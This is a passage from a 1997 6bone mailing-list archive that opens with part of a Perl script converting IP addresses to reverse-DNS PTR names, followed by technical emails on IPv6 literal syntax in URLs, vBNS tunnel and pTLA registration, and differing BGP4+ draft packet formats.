#       IPv4 address to in-addr.arpa PTR value.  Anything not valid is
#       simply printed as is.  Handles :: notation and embedded IPv4
#       addresses.  If the address is followed by /n, the PTR is
#       truncated to n bits.
#
#       Examples:
#               nslookup -type=any `ip6_int 3ffe::203.34.97.6` looks up
# 6.0.1.6.2.2.b.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.e.f.f.3.ip6.int
#               nslookup -type=any `ip6_int fe80::b432:e6ff/10` looks up
# 2.e.f.ip6.int
#               nslookup -type=any `ip6_int ::127.0.0.1` looks up
# 1.0.0.0.0.0.f.7.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.int
#               nslookup -type=any `ip6_int 127.0.0.1` looks up
# 1.0.0.127.in-addr.arpa
#               nslookup -type=any `ip6_int 127.0.0.1/8` looks up
# 127.in-addr.arpa
#
#       Copyright 1997 Keith Owens <kaos@ocs.com.au>.  GPL.
#

require 5;
use strict;
use integer;

my $v6;

if ($#ARGV >= 0 &&
    ($v6 = ($ARGV[0] =~ m;^([0-9a-fA-f:]+)(?::(\d+\.\d+\.\d+\.\d+))?(?:/(\d+))?$;))
     || $ARGV[0] =~ m;^(\d+\.\d+\.\d+\.\d+)(?:/(\d+))?$;) {
	my $valid = 1;
	if ($v6) {
		my (@chunk) = split(/:/, $1, 99);
		my $mask = $3;
		if ($2) {
			my (@v4) = split(/\./, $2);
			$valid = ($v4[0] <= 255 && $v4[1] <= 255 &&
			          $v4[2] <= 255 && $v4[3] <= 255);
			if ($valid) {
				push(@chunk, sprintf("%x%02x", $v4[0], $v4[1]));
				push(@chunk, sprintf("%x%02x", $v4[2], $v4[3]));
			}
		}
		my $pattern = "";
		if ($valid) {
			foreach (@chunk) {
				$pattern .= /^$/ ? 'b' : 'c';
			}
			if ($pattern =~ /^bbc+$/) {
				@chunk = (0, 0, @chunk[2..$#chunk]);
				@chunk = (0, @chunk) while ($#chunk < 7);
			}
			elsif ($pattern =~ /^c+bb$/) {
				@chunk = (@chunk[0..$#chunk-2], 0, 0);
				push(@chunk, 0) while ($#chunk < 7);
			}
			elsif ($pattern =~ /^c+bc+$/) {
				my @left;
				push(@left, shift(@chunk)) while ($chunk[0] ne "");
				shift(@chunk);
				push(@left, 0);
				push(@left, 0) while (($#left + $#chunk) < 6);
				@chunk = (@left, @chunk);
			}
			$valid = $#chunk == 7;
		}
		my $ip6int = "ip6.int";
		my $i;
		if ($valid) {
			foreach (@chunk) {
				$i = hex($_);
				if ($i > 65535) {
					$valid = 0;
				}
				else {
					$ip6int = sprintf("%x.%x.%x.%x.",
							  ($i) & 0xf,
							  ($i >> 4) & 0xf,
							  ($i >> 8) & 0xf,
							  ($i >> 12) & 0xf)
						  . $ip6int;
				}
			}
		}
		if ($valid && defined($mask)) {
			$valid = ($mask =~ /^\d+$/ && $mask <= 128);
			if ($valid) {
				$ip6int = substr($ip6int, int((128-$mask)/4)*2);
				if ($mask &= 3) {
					$i = hex(substr($ip6int, 0, 1));
					$i >>= (4-$mask);
					substr($ip6int, 0, 1) = sprintf("%x", $i);
				}
			}
		}
		$ARGV[0] = $ip6int if ($valid);
	}
	else {
		# v4
		my (@v4) = split(/\./, $1);
		my $mask = $2;
		$valid = ($v4[0] <= 255 && $v4[1] <= 255 &&
			  $v4[2] <= 255 && $v4[3] <= 255);
		my $v4 = hex(sprintf("%02X%02X%02X%02X", @v4));
		if ($valid && defined($mask)) {
			$valid = ($mask =~ /^\d+$/ && $mask <= 32);
			if ($valid) {
				$v4 = $v4 & ((~0) << (32-$mask));
				$v4[0] = ($v4 >> 24) & 255;
				$v4[1] = ($v4 >> 16) & 255;
				$v4[2] = ($v4 >> 8) & 255;
				$v4[3] = $v4 & 255;
			}
		}
		else {
			$mask = 32;
		}
		if ($valid) {
			my $i = 4 - int(($mask+7) / 8);
			pop(@v4) while ($i--);
			$ARGV[0] = join('.', reverse(@v4));
			$ARGV[0] .= '.' if ($ARGV[0] ne "");
			$ARGV[0] .= 'in-addr.arpa';
		}
	}
}
print "@ARGV\n";


From majordom@ISI.EDU  Wed Oct 15 09:29:41 1997
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Subject: Re: query re IPv6 URL format
To: Francis.Dupont@inria.fr (Francis Dupont)
Date: Wed, 15 Oct 1997 16:29:41 -0700 (PDT)
Cc: Bertrand.Buclin@ch.att.com, hinden@ipsilon.com, brian@hursley.ibm.com,
        deering@cisco.com, 6bone@ISI.EDU, ipng@sunroof.eng.sun.com
In-Reply-To: <199710151808.UAA05883@givry.inria.fr> from "Francis Dupont" at Oct 15, 97 08:08:07 pm
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From another list (dns related no less!) with the names "scrubbed"
to protect the innocent.


>> I've now updated the patches for allowing named to chroot to also support
>> setting the user and group id's with another option: 'runas "user[.group]";'.
>> Also, they didn't apply cleanly against 8.1.1.  The patches below cover
>> both chroot and runas.
>
>Minor nit:  '.' is a valid character for a user name.  Perhaps ':' would be
>a better delimiter?  (It is not a valid user name character...)


-- 
--bill

From majordom@ISI.EDU  Thu Oct 16 10:46:04 1997
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Date: Thu, 16 Oct 1997 09:46:04 +0100
Message-Id: <9710160846.AA03334@hursley.ibm.com>
From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: query re IPv6 URL format
To: hinden@ipsilon.com (Bob Hinden)
Cc: brian@hursley.ibm.com, 6bone@ISI.EDU
In-Reply-To: <3.0.3.32.19971015104644.0087ed80@mailhost.ipsilon.com> from "Bob Hinden" at Oct 15, 97 10:46:44 am
Reply-To: brian@hursley.ibm.com
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Belive me I tried this on the URL folks, even wrote the BNF for
them, and they insist that the real-world parsers can't handle it
and will barf on the first colon they see. They are wedged on the
way their parsers work and we are wedged on the notation we picked.
Somebody's code is going to have to change.

As for 1.8.7.8.0.0.e.f.f.f.e.f.0.2.2.0.0.0.3.8.1.5.0.1.6.0.3.0.e.f.f.3.ip6.int
that really doesn't meet the criterion of being cut and pastable from
the canonical notation.

  Brian Carpenter

>- Bob Hinden said:
> 
> Brian,
> 
> Let me see if I can continue to show how little I know about URL's.....
> 
> Would some sort of escape or quoting work?  Something like:
> 
>   http://[aaaa:bbbb:cccc::zzzz]/~bc
>   http://[aaaa:bbbb:cccc::zzzz]:80/~bc
>   http://[aaaabbbbccccddddeeeeffffgggghhhh]:80/~bc
> 
>  or
> 
>   http://"aaaa:bbbb:cccc::zzzz"/~bc
>   http://"aaaa:bbbb:cccc::zzzz":80/~bc
>   http://"aaaabbbbccccddddeeeeffffgggghhhh":80/~bc
> 
>  or (very ugly)
> 
>   http://aaaa&:bbbb&:cccc&:&:zzzz/~bc
>   http://aaaa&:bbbb&:cccc&:&:zzzz:80/~bc
> 
> or (very ugly)
> 
>   http://&aaaabbbbccccddddeeeeffffgggghhhh:80/~bc
> 
> etc.
> 
> Bob
> 
> 
> 
> 
> 


From majordom@ISI.EDU  Thu Oct 16 10:35:12 1997
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Message-Id: <9710160835.AA127426@hursley.ibm.com>
From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: (IPng 4677) Re: query re IPv6 URL format
To: masaki@merit.edu (Masaki Hirabaru)
Cc: Francis.Dupont@inria.fr, Bertrand.Buclin@ch.att.com, hinden@ipsilon.com,
        brian@hursley.ibm.com, deering@cisco.com, 6bone@ISI.EDU,
        ipng@sunroof.eng.sun.com
In-Reply-To: <199710151915.PAA12054@merit.edu> from "Masaki Hirabaru" at Oct 15, 97 03:15:47 pm
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It doesn't in at least one well known browser - the "escaped"
colons get turned into colons before being passed to the resolver.
I tried it some time ago.

  Brian

>- Masaki Hirabaru said:
> 
> >     3ffe:306:1051:8300:220:feff:fe00:8781
>       3ffe%3a306%3a1051%3a8300%3a220%3afeff%3afe00%3a8781
> 
> I think that this should work in url. -- Masaki
> 


From majordom@ISI.EDU  Thu Oct 16 10:48:45 1997
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: query re IPv6 URL format
To: qv@3com.com (Quaizar Vohra)
Cc: brian@hursley.ibm.com, Francis.Dupont@inria.fr, hinden@ipsilon.com,
        deering@cisco.com, 6bone@ISI.EDU
In-Reply-To: <199710152107.OAA06010@lookout.nsd.3com.com> from "Quaizar Vohra" at Oct 15, 97 02:07:34 pm
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That may turn out to be the best way - Larry Masinter
also suggested this. In fact ipv6addr doesn't need to be
a real domain name - it's just a token for the URL parser.

  Brian

>- Quaizar Vohra said:
> 
> 
> How about defining a DNS domain ipv6addr and
> allowing an IPv6 address x1:x2:x3:x4:x5:x6:x7:x8 to be typed as
> a dns name x1.x2.x3.x4.x5.x6.x7.x8.ipv6addr.
> 
> Disclaimer : I am very ignorant about DNS.
> 
> Quaizar
> 


From majordom@ISI.EDU  Thu Oct 16 02:50:50 1997
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Date: Thu, 16 Oct 1997 06:50:50 -0400
To: Bob Fink <RLFink@lbl.gov>, Iddo Jambi Ganbar <jambi@oceana.nlanr.net>,
        6bone@ISI.EDU
From: "Randolph C. Nicklas" <rcn@mci.net>
Subject: Re: Request for tunnel
Cc: k claffy <kc@nlanr.net>, vbns-eng@mci.net, rcn@mci.net
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Bob & Iddo,

Please our (vBNS Engineerings) comments below.

					Thanks,
					Randy

At 01:50 PM 10/15/97 -0700, Bob Fink wrote:
>At 9:07 AM -0700 10/15/97, Iddo Jambi Ganbar wrote:
>>
>>   hi
>>
>>   we're interested in connecting the vBNS (from SDSC to start with)
>>   to the 6bone. We're using FreeBSD2.2 with the CAIRN IPv6 code,
>>   a sparc (solaris2.5.1) and possibly a Linux box.
>>   I can't tell from the list who might be best located,
>>   do the ESnet connections come down to San Diego?

	The vBNS is ATM-connected to ESnet at SDSC via General Atomics,
	over which we BGP4--peer.

>>   If anyone knows a more topologicaly sensible place for
>>   us to tunnel to, please holler --

	Iddo--have you given any thought to using one of the supported
	ATM adaptors in your NLANR P6 host? Why?--see below.

>
>ESnet's 6bone router is in Berkeley.  Barring that, it's not a bad place to
>connect for your purposes.  ISI-LAP, 3COM, Cisco and Digital-CA are quite
>reasonable west coast points as well.
>
>Is the vBNS connecting, or NLANR?

	NLANR could use the vBNS to reach other 6bone routers--for example,the
	vBNS peers with ESnet at SDSC, as well as other locales. I would like
	to think of the NLANR/SDSC routers as the first vBNS IPv6 routers, and note
	that all five vBNS Supercomputer Centers (SCCs--SDSC, NCAR, NCSA, PSC &
	CTC) have IPv6 router h/w (FDDI-attached P6s).

	Iddo--it is important that we coordinate our efforts on deploying IPv6
	in the vBNS.

>
>If vBNS would like to join, I can issue a pTLA.

	Yes, we would, and a pTLA for the vBNS would be welcome, as would advice
	on an IPv6 addressing plan for the vBNS.

	At ISI's recent IPv6 conference in Arlington, Greg Miller & I put forward
	our plans to deploy three native IPv6 routers (Bay Area, Chicago, and DC
	area) on the vBNS, connected together with dedicated ATM PVCs, and accepting
	6bone traffic via ATM PVCs (from vBNS SCC and University sites as well as
	through the ATM NAPS) and tunnels (again, from vBNS sites and any of the
	NAPs). It will be 1Q98 before the routers are installed in the relevant MCI
	terminals. We are considering both TRAIL routers as well as Ciscos, but we
	want the WAN links to be IPv6 over ATM.

>
>Else it might be best just to take a delegation from an existing pTLA
>(e.g., from the list I gave above).
>
>
>Thanks,
>
>Bob
>
>
>
>
------------------------------------------
Randolph C. Nicklas
vBNS Engineering/MCI
703.715.7099
1.800.SKY.PAGE 902418

From majordom@ISI.EDU  Thu Oct 16 16:04:19 1997
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: brian@hursley.ibm.com
Cc: hinden@ipsilon.com (Bob Hinden), 6bone@ISI.EDU
Subject: Re: query re IPv6 URL format 
In-Reply-To: Your message of Thu, 16 Oct 1997 09:46:04 BST.
             <9710160846.AA03334@hursley.ibm.com> 
Date: Thu, 16 Oct 1997 14:04:19 +0200
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 In your previous mail you wrote:

   Belive me I tried this on the URL folks, even wrote the BNF for
   them, and they insist that the real-world parsers can't handle it
   and will barf on the first colon they see. They are wedged on the
   way their parsers work and we are wedged on the notation we picked.
   Somebody's code is going to have to change.
   
   As for 1.8.7.8.0.0.e.f.f.f.e.f.0.2.2.0.0.0.3.8.1.5.0.1.6.0.3.0.e.f.f.3.ip6.int
   that really doesn't meet the criterion of being cut and pastable from
   the canonical notation.
   
=> I believe we are converging... I seems the solution is to get
the IPv6 address, apply a transform which must replace colons by dots
and append a trailer name which is not ambiguous.
 The "ip6.int" proposal enters in this category, the problem is cut & paste
doesn't work but no suitable transform meets this criterion (because
of colons).
 Then we need:
  - a transform from any to (literal) IPv6 address to a dot notation
  with the same information (ie we have to keep the hexa digits).
  - a not ambiguous trailing domain name
 Unessential criteria for the transform should be:
  - as little as possible result (keep URLs readable)
  - one to one transform (note: for this we need a good canonical format
    for IPv6 addresses, for instance full hexa without heading zeros)
  - easy to program

Regards

Francis.Dupont@inria.fr

PS: use the "ip6.int" because we can get the real name with a search
for a PTR RR is not a good idea (if one wants to use a literal is
likely because the name is not available).

From majordom@ISI.EDU  Thu Oct 16 16:04:38 1997
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Subject: Re: query re IPv6 URL format
To: deering@cisco.com (Steve Deering)
Date: 	Thu, 16 Oct 1997 14:04:38 +0200 (Funky)
From: "Matthias Urlichs" <smurf@noris.de>
Cc: brian@hursley.ibm.com, crawdad@fnal.gov, 6bone@ISI.EDU
In-Reply-To: <v03110711b06a91b20f02@[171.69.116.90]> from "Steve Deering" at Oct 15, 97 08:51:53 am
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Hi,

Steve:

>For the URL case in particular, is there not a character or pair of
>characters that could be defined as delimiting an IPv6 (or IPv4/6) address
>literal, e.g., [aaaa:bbbb::cc:d] or ^aaaa:bbbb::cc:d^ or something similar?
>An address plus port number would then look like [aaaa:bbbb::cc:d]:8080.

I _like_ the bracket idea. Let's apply it to IPV4, too, and deprecate the
old syntax.   1/2 :-)

-- 
Matthias Urlichs
noris network GmbH

From majordom@ISI.EDU  Thu Oct 16 01:04:12 1997
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References: Your message of Thu, 16 Oct 1997 09:46:04 BST.            
 <9710160846.AA03334@hursley.ibm.com>
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To: Francis Dupont <Francis.Dupont@inria.fr>
From: Steve Deering <deering@cisco.com>
Subject: Re: query re IPv6 URL format
Cc: brian@hursley.ibm.com, hinden@ipsilon.com (Bob Hinden), 6bone@ISI.EDU
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At 5:04 AM -0700 10/16/97, Francis Dupont wrote:
> => I believe we are converging... I seems the solution is to get
> the IPv6 address, apply a transform which must replace colons by dots
> and append a trailer name which is not ambiguous.
>  The "ip6.int" proposal enters in this category, the problem is cut & paste
> doesn't work but no suitable transform meets this criterion (because
> of colons).

There are degrees of "cut-and-paste friendly".  In all cases, it seems
that after pasting an IPv6 address into a URL, one will have to edit the
resulting string.  Adding "[" and "]" before and after the pasted address
would be fairly painless.  Replacing all the ":"s with "."s would be
somewhat more annoying.  Reversing the order of all the hex digits,
putting dots between the digits, and adding ".ip6.int" to the end would
be deadly.

If we can't have perfect cut-and-paste, let's at least try to make it as
little hassle as possible to use generic cut-and-paste.

Steve



From majordom@ISI.EDU  Thu Oct 16 01:25:09 1997
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Date: Thu, 16 Oct 1997 08:25:09 -0700
To: "Randolph C. Nicklas" <rcn@mci.net>,
        Iddo Jambi Ganbar <jambi@oceana.nlanr.net>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Request for tunnel
Cc: k claffy <kc@nlanr.net>, vbns-eng@mci.net, rcn@mci.net
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Randolph,

At 3:50 AM -0700 10/16/97, Randolph C. Nicklas wrote:
...
>>Is the vBNS connecting, or NLANR?
>
>	NLANR could use the vBNS to reach other 6bone routers--for example,the
>	vBNS peers with ESnet at SDSC, as well as other locales. I would like
>	to think of the NLANR/SDSC routers as the first vBNS IPv6 routers,
>and note
>	that all five vBNS Supercomputer Centers (SCCs--SDSC, NCAR, NCSA, PSC &
>	CTC) have IPv6 router h/w (FDDI-attached P6s).
>
>	Iddo--it is important that we coordinate our efforts on deploying IPv6
>	in the vBNS.

I very much like the idea of having vBNS as a multi-site 6bone backbone
site as it will provide better performance and connectivity AND help us
gain experience with the new AGGR addressing.


>>If vBNS would like to join, I can issue a pTLA.
>
>	Yes, we would, and a pTLA for the vBNS would be welcome, as would
>advice
>	on an IPv6 addressing plan for the vBNS.
>
>	At ISI's recent IPv6 conference in Arlington, Greg Miller & I put
>forward
>	our plans to deploy three native IPv6 routers (Bay Area, Chicago,
>and DC
>	area) on the vBNS, connected together with dedicated ATM PVCs, and
>accepting
>	6bone traffic via ATM PVCs (from vBNS SCC and University sites as
>well as
>	through the ATM NAPS) and tunnels (again, from vBNS sites and any
>of the
>	NAPs). It will be 1Q98 before the routers are installed in the
>relevant MCI
>	terminals. We are considering both TRAIL routers as well as Ciscos,
>but we
>	want the WAN links to be IPv6 over ATM.

I really like the prospect of vBNS moving native IPv6.  Let's get going
right away with the tunneled version so you can move your plans along.

I will assign a pTLA for vBNS (let's call it vBNS) if you will register
with the 6bone registry (a requirement for 6bone participation).  You can
read the documentation at:

	http://www.6bone.net/RIPE-registry.html

and I have enclosed my 6bone registry entry registration email for convenience.

Then you should create a MNTNR entry (MNT-VBNS) so I can delegate the
inet6nun pTLA to you using it (also see example below).

As for an addressing plan, let's try to get the mail list to comment. I'll
also suggest something later on.


But for now...get registered and I'll assign your pTLA.


Welcome aboard!

Bob

===========
To: auto-dbm@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: LONGACK - create ipv6-site entry for LBNL

ipv6-site:         LBNL
origin:            AS293
descr:             LBNL - Lawrence Berkeley National Lab.
descr:             1 Cyclotron Road
descr:             Berkeley, CA  94720
descr:             location is that of LBNL's GPS receiver for ntp service
location:          37 52 36.024 N 122 15 9.372 W 244.58m
country:           US
prefix:            5F01:2500:8003::/48
application:       ping lbnl-v6r1.lbl.gov
tunnel:            IPv6 in IPv4 lbnl-v6r1.lbl.gov -> esnet-v6r1.es.net
ESNET STATIC
contact:           RLF1-6BONE
remarks:           version 3 - initial entry
notify:            RLFink@lbl.gov
changed:           RLFink@lbl.gov 19970725
source:            6BONE

===
To: auto-dbm@isi.edu
From: Bob Fink <RLFink@lbl.gov>
Subject: longack - create mntnr entry for MREN

mntner:      MNT-MREN
descr:       maintainer of MREN 6bone registry objects
admin-c:     MC1-6BONE
upd-to:      mren-tech@anl.gov
mnt-nfy:     mren-tech@anl.gov
auth:        NONE
mnt-by:      MNT-MREN
changed:     RLFink@lbl.gov 19970916
source:      6BONE

-end



From majordom@ISI.EDU  Thu Oct 16 06:51:13 1997
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Date: Thu, 16 Oct 1997 11:51:13 -0500
From: "Jeffrey C. Ollie" <jeff@ollie.clive.ia.us>
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
Mime-Version: 1.0
To: 6bone@ISI.EDU
Subject: Re: query re IPv6 URL format
References: <19971016120438.18346.qmail@nova.noris.de>
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This is a cryptographically signed message in MIME format.

--------------msCEBE3B7FC547EA65AC517C3E
Content-Type: multipart/mixed; boundary="------------AB891C5AB936DA529A9974E3"

This is a multi-part message in MIME format.
--------------AB891C5AB936DA529A9974E3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Matthias Urlichs wrote:
> 
> >For the URL case in particular, is there not a character or pair of
> >characters that could be defined as delimiting an IPv6 (or IPv4/6) address
> >literal, e.g., [aaaa:bbbb::cc:d] or ^aaaa:bbbb::cc:d^ or something similar?
> >An address plus port number would then look like [aaaa:bbbb::cc:d]:8080.
> 
> I _like_ the bracket idea. Let's apply it to IPV4, too, and deprecate the
> old syntax.   1/2 :-)

This has some precedent in the form that is used by SMTP to send to a
literal IP address.  For example:

To: jcollie@[161.210.218.100]
From: whoever@nowhere.com
Subject: test

Will end up in my mailbox.

Jeff
--------------AB891C5AB936DA529A9974E3
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Ollie, Jeffrey
Content-Disposition: attachment; filename="vcard.vcf"

begin:          vcard
fn:             Jeffrey Ollie
n:              Ollie;Jeffrey
email;internet: jeff@ollie.clive.ia.us
tel;work:       515-965-7057
tel;fax:        515-965-7305
x-mozilla-cpt:  ;0
x-mozilla-html: TRUE
version:        2.1
end:            vcard


--------------AB891C5AB936DA529A9974E3--

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--------------msCEBE3B7FC547EA65AC517C3E--


From majordom@ISI.EDU  Thu Oct 16 10:02:52 1997
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Date: Thu, 16 Oct 1997 14:02:52 -0400
To: 6bone@ISI.EDU
From: Rick Osborne <osborne@gateway.grumman.com>
Subject: Literal addresses in URLs - 'splain to me
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I would like someone to explain to me exactly why disallowing literal
addresses in IPv6 URLs should not be allowed.  (Kind of a double negative,
sorry.)  I mean, I'm advocating that we bar them from URLs and nothing
else.  Typing "ping aaaa:bbbb::cc:d" from a console or anything is just
fine, but why work so hard to find a way to use them as URLs?  I'm just not
seeing it ...


-- Rick Osborne <osborne@gateway.grumman.com>
Are you trying to tell us that you get up incredibly early, just to spend an
hour reading news and not having any breakfast? [...] I'm aghast that any
human being would ever leave the sweet arms of Morpheus, unless forced to by
powers beyond his control.
- Dan Sorenson


From majordom@ISI.EDU  Thu Oct 16 10:31:53 1997
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To: 6bone@ISI.EDU
Subject: which BGP4+ used
Date: Thu, 16 Oct 1997 14:31:53 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Folks,

I know a version of BGP4+ is running over 6bone, but it seems
different from draft-ietf-idr-bgp4-multiprotocol-01.txt.  I'm now
testing our BGP4+ code with cisco at one of 6bone backbone sites,
but its BGP4+ is apparently different from the draft. I'm afraid
I might miss something new. Is there any updated spec?

Thanks,
Masaki

From majordom@ISI.EDU  Thu Oct 16 12:21:24 1997
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To: Rick Osborne <osborne@gateway.grumman.com>
Cc: 6bone@ISI.EDU
Subject: Re: Literal addresses in URLs - 'splain to me 
In-Reply-To: Your message of "Thu, 16 Oct 1997 14:02:52 EDT."
             <3.0.3.32.19971016140252.00a66330@gateway.northgrum.com> 
Date: Thu, 16 Oct 1997 16:21:24 -0400
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>I would like someone to explain to me exactly why disallowing literal
>addresses in IPv6 URLs should not be allowed.  (Kind of a double negative,
>sorry.)  I mean, I'm advocating that we bar them from URLs and nothing
>else.  Typing "ping aaaa:bbbb::cc:d" from a console or anything is just
>fine, but why work so hard to find a way to use them as URLs?  I'm just not
>seeing it ...

I agree outlaw them for IPv6.  This is very intelligent input.    

/jim

From majordom@ISI.EDU  Thu Oct 16 11:16:01 1997
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Date: Thu, 16 Oct 1997 18:16:01 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: Masaki Hirabaru <masaki@merit.edu>
Cc: 6bone@ISI.EDU
Subject: which BGP4+ used
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>>>>> "Masaki" == Masaki Hirabaru <masaki@merit.edu> writes:

    Masaki> Folks, I know a version of BGP4+ is running over 6bone,
    Masaki> but it seems different from
    Masaki> draft-ietf-idr-bgp4-multiprotocol-01.txt.  I'm now testing
    Masaki> our BGP4+ code with cisco at one of 6bone backbone sites,
    Masaki> but its BGP4+ is apparently different from the draft. I'm
    Masaki> afraid I might miss something new. Is there any updated
    Masaki> spec?

Masaki,

The current cisco implementation does draft-ietf-idr-bgp4-multiprotocol-00.txt
(a couple of length fields where taken out of MP attributes in the -01 version
so they don't really interoperate).

  Pedro.

From majordom@ISI.EDU  Sat Oct 18 00:21:56 1997
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From: kunihiro@zebra.org
To: 6bone@ISI.EDU
Subject: Re: which BGP4+ used
Content-Type: Text/Plain; charset=us-ascii
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Date: Fri, 17 Oct 1997 15:21:56 +0900
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>I know a version of BGP4+ is running over 6bone, but it seems
>different from draft-ietf-idr-bgp4-multiprotocol-01.txt.  I'm now
>testing our BGP4+ code with cisco at one of 6bone backbone sites,
>but its BGP4+ is apparently different from the draft. I'm afraid
>I might miss something new. Is there any updated spec?

I'm thinking about a same problem.  It seems that some current running
code conforms draftr-ietf-idr-bgp4-multiprotocol-00.txt (include two
octet NLRI length field).  Many people are thinking that it is also
important conforming current vendor's beta version implemetation.  But
I'm not sure vedor implementation.

I have seen three types of BGP4+ packet.  Below description assumes
SNPA is zero.

1. o gated-bgp4+ default (without -DBATES_LAST_DRAFT)
  .. no SAFI 
  +--------------------------------+
  | AFI (2 octets)                 |
  +--------------------------------+
  | Length of NextHop (1 octet)    |
  +--------------------------------+
  | Address of NextHop (variable)  |
  +--------------------------------+
  | Number of SNPAs (1 octet = 0)  |
  +--------------------------------+
  | NLRI Length (2 octets)         |
  +--------------------------------+
  | NLRI (variable)                |
  +--------------------------------+

2. draft-ietf-idr-bgp4-multiprotocol-00
   o gated-bgp4+ (with -DBATES_LAST_DRAFT )
   o MRT
   o zebra (with draft-00 option)
   .. with NLRI length
  +--------------------------------+
  | AFI (2 octets)                 |
  +--------------------------------+
  | SAFI (1 octet)                 |
  +--------------------------------+
  | Length of NextHop (1 octet)    |
  +--------------------------------+
  | Address of NextHop (variable)  |
  +--------------------------------+
  | Number of SNPAs (1 octet = 0)  |
  +--------------------------------+
  | NLRI Length (2 octets)         |
  +--------------------------------+
  | NLRI (variable)                |
  +--------------------------------+
  
3. draft-ietf-idr-bgp4-multiprotocol-01
   o zebra
  ... rid of NLRI length
  +--------------------------------+
  | AFI (2 octets)                 |
  +--------------------------------+
  | SAFI (1 octet)                 |
  +--------------------------------+
  | Length of NextHop (1 octet)    |
  +--------------------------------+
  | Address of NextHop (variable)  |
  +--------------------------------+
  | Number of SNPAs (1 octet = 0)  |
  +--------------------------------+
  | NLRI (variable)                |
  +--------------------------------+

IMHO, the best thing is moving toward to draft-ietf-idr-bgp4-multiprotocol-01
specification.
--
Kunihiro Ishiguro

From majordom@ISI.EDU  Fri Oct 17 11:30:14 1997
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: Literal addresses in URLs - 'splain to me
To: 6bone@ISI.EDU
In-Reply-To: <9710162021.AA31573@wasted.zk3.dec.com> from "bound@zk3.dec.com" at Oct 16, 97 04:21:24 pm
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That was certainly my view when drafting RFC 1900 and in the
ideal world I would stick to it.

However the fact is that when there is a catastrophic operational
problem with DNS, there can be cases where the *only* way to
repair the network is by using literal addresses, either to
send mail to another site, or to access remote systems -
and URLs are one of the ways we access remote systems these days.
So while I stick to the deprecation of literal addresses that is
in RFC 1900, I regretfully feel that we need them as emergency backup.

That means the syntax doesn't have to be beautiful.

  Brian Carpenter

>- bound@zk3.dec.com said:
> 
> 
> >I would like someone to explain to me exactly why disallowing literal
> >addresses in IPv6 URLs should not be allowed.  (Kind of a double negative,
> >sorry.)  I mean, I'm advocating that we bar them from URLs and nothing
> >else.  Typing "ping aaaa:bbbb::cc:d" from a console or anything is just
> >fine, but why work so hard to find a way to use them as URLs?  I'm just not
> >seeing it ...
> 
> I agree outlaw them for IPv6.  This is very intelligent input.    
> 
> /jim
> 


From majordom@ISI.EDU  Fri Oct 17 05:55:43 1997
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To: kunihiro@zebra.org
Cc: 6bone@ISI.EDU
Subject: Re: which BGP4+ used 
In-Reply-To: Your message of "Fri, 17 Oct 1997 15:21:56 +0900."
             <199710170621.PAA18946@rs.digital-magic.co.jp> 
Date: Fri, 17 Oct 1997 09:55:43 -0400
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Kunihiro and Pedro,

Thanks for letting me know. I haven't seen the -00 version, so I
got confused. I'm still writing this by analyzing a BGP4+ packet
I'm receiving rather than looking at the -00 version. So, the
following differences may not cover all.

1) There is a length field, NLRI Length (2 octets) in Kunihiro's
explanation, which doesn't exist in the -01 version.

Both MP_REACH_NLRI (Type Code 14) and MP_UNREACH_NLRI (Type Code
15) have this 2 octets length field right before Network Layer
Reachability Information (variable) or Withdrawn Routes
(variable), respectively.

2) The Length of Next Hop Network Address (1 octet) in
MP_REACH_NLRI (Type Code 14) has a value 32; A global-scope
address (16 octets) and a link-local address (16 octets) follow.

I think that in the -01 version, next hop address should be one.

Kunirhiro, my BGP4+ code is based on the same one Gated has.  I
need to connect the 6bone with BGP4+, so I have no choice at the
moment. So, probably I'd better put some configuration option to
switch a version depending on a peer.

Does 6bone has a plan to migrate to the -01 version? I don't
think there is any version information to distinguish in BGP4+
OPEN message, so I think we may need to have a schedule if we
want to update. Anyway, thanks. I'm clear now.

Masaki

> Return-Path: majordom@ISI.EDU
> Message-Id: <199710170621.PAA18946@rs.digital-magic.co.jp>
> From: kunihiro@zebra.org
> To: 6bone@ISI.EDU
> Subject: Re: which BGP4+ used
> Content-Type: Text/Plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> Date: Fri, 17 Oct 1997 15:21:56 +0900
> Sender: owner-6bone@ISI.EDU
> Precedence: bulk
> 
> >I know a version of BGP4+ is running over 6bone, but it seems
> >different from draft-ietf-idr-bgp4-multiprotocol-01.txt.  I'm now
> >testing our BGP4+ code with cisco at one of 6bone backbone sites,
> >but its BGP4+ is apparently different from the draft. I'm afraid
> >I might miss something new. Is there any updated spec?
> 
> I'm thinking about a same problem.  It seems that some current running
> code conforms draftr-ietf-idr-bgp4-multiprotocol-00.txt (include two
> octet NLRI length field).  Many people are thinking that it is also
> important conforming current vendor's beta version implemetation.  But
> I'm not sure vedor implementation.
> 
> I have seen three types of BGP4+ packet.  Below description assumes
> SNPA is zero.
> 
> 1. o gated-bgp4+ default (without -DBATES_LAST_DRAFT)
>   .. no SAFI 
>   +--------------------------------+
>   | AFI (2 octets)                 |
>   +--------------------------------+
>   | Length of NextHop (1 octet)    |
>   +--------------------------------+
>   | Address of NextHop (variable)  |
>   +--------------------------------+
>   | Number of SNPAs (1 octet = 0)  |
>   +--------------------------------+
>   | NLRI Length (2 octets)         |
>   +--------------------------------+
>   | NLRI (variable)                |
>   +--------------------------------+
> 
> 2. draft-ietf-idr-bgp4-multiprotocol-00
>    o gated-bgp4+ (with -DBATES_LAST_DRAFT )
>    o MRT
>    o zebra (with draft-00 option)
>    .. with NLRI length
>   +--------------------------------+
>   | AFI (2 octets)                 |
